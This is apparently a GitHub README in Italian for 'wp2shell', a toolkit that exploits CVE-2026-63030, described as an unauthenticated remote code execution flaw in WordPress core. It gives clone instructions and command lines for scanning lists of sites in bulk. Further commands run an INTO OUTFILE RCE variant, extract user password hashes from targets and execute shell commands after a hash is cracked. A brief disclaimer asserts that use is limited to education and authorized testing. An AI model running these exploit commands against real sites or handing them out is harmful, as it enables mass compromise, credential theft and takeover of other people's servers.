🔍 wp2shell - Scanner di vulnerabilità ed Exploit per WordPress CVE-2026-63030

⚡ Scanner di vulnerabilità ed exploit veloce e in tempo reale per CVE-2026-63030 (wp2shell)

📌 Panoramica

wp2shell è un toolkit completo per rilevare e sfruttare CVE-2026-63030, una vulnerabilità critica in WordPress che consente a utenti non autenticati di eseguire codice in remoto tramite confusione delle route batch dell'API REST combinata con SQL injection.

🔍 Cos'è CVE-2026-63030?

CVE-2026-63030 (wp2shell) è una vulnerabilità critica scoperta da Adam Kues (Assetnote / Searchlight Cyber) che riguarda il core di WordPress. Combina due bug:

1. GHSA-ff9f-jf42-662q - REST Batch Route Confusion
2. GHSA-fpp7-x2x2-2mjf - author__not_in SQL Injection

📊 Versioni interessate

📦 Clonazione e Setup

# Clone repository
git clone https://github.com/Lutfifakee-Project/wp2shell.git
cd wp2shell

# No dependencies required - uses Python standard library only!
# Python 3.7+ required

🛠️ Strumenti inclusi

1️⃣ wp2shell_scanner.py - Scanner veloce

Scanner multi-thread in tempo reale per il rilevamento di vulnerabilità su larga scala.

# Basic scan
python wp2shell_scanner.py -f list.txt -o results.txt

# Skip SQLi test (faster)
python wp2shell_scanner.py -f list.txt -o results.txt --no-sqli-test

# JSON output
python wp2shell_scanner.py -f list.txt -j

2️⃣ wp2shell_intooutfile.py - Exploit INTO OUTFILE

Dimostra la variante RCE INTO OUTFILE (richiede il privilegio FILE di MySQL).

# Single target
python3 wp2shell_intooutfile.py https://target.com

# Multiple targets
python3 wp2shell_intooutfile.py -f list.txt -t 10

3️⃣ wp2shell-exploit.py - Exploit a file singolo

Versione portabile a file singolo dell'exploit con funzionalità completa.

# Check vulnerability
python wp2shell-exploit.py check https://target.com

# Read users (extract password hashes)
python wp2shell-exploit.py read https://target.com --preset users

# Read fingerprint
python wp2shell-exploit.py read https://target.com --preset fingerprint

# Execute command (after cracking hash)
python wp2shell-exploit.py shell https://target.com --user admin --password "cracked" --cmd "id"

⚠️ Disclaimer legale

IMPORTANTE: questo strumento è destinato esclusivamente a scopi educativi e a test autorizzati.

• Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta al test.
• L'accesso non autorizzato a sistemi informatici è illegale.
• Gli sviluppatori non si assumono alcuna responsabilità per un uso improprio di questo software. Usalo in modo responsabile ed etico.